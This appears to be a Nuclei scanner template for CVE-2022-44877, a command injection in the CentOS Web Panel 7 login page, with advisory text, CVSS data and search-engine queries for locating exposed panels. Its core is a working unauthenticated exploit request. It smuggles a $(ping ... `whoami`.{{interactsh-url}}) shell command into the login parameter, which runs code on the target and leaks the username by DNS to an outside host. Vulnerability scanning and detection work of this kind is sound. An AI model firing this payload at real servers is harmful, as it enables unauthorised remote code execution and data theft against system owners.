CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-44877
info:
name: CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution
author: For3stCo1d
severity: critical
description: |
CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.
reference:
- https://twitter.com/_0xf4n9x_/status/1612068225046675457
- https://github.com/numanturle/CVE-2022-44877
- https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386
- https://nvd.nist.gov/vuln/detail/CVE-2022-44877
- http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-44877
cwe-id: CWE-78
epss-score: 0.94327
epss-percentile: 0.99947
cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: control-webpanel
product: webpanel
shodan-query:
- http.title:"Login | Control WebPanel"
- http.title:"login | control webpanel"
fofa-query: title="login | control webpanel"
google-query: intitle:"login | control webpanel"
tags: cve,cve2022,packetstorm,centos,rce,kev,control-webpanel
http:
- raw:
- |
POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=root&password=toor&commit=Login
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
- type: word
part: body
words:
- "Login Redirect."
- type: status
status:
- 302
extractors:
- type: regex
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part: interactsh_request
# digest: 490a00463044022027e68a51cace2ac2e0e9df82305b17506b169ec6255694a709be4ebc00ecd0750220205bba1ce89365fe023ef0d645d66c8348bc1b6b0dadc77827c8e5cf74e9a1d0:922c64590222798bb761d5b6d8e72950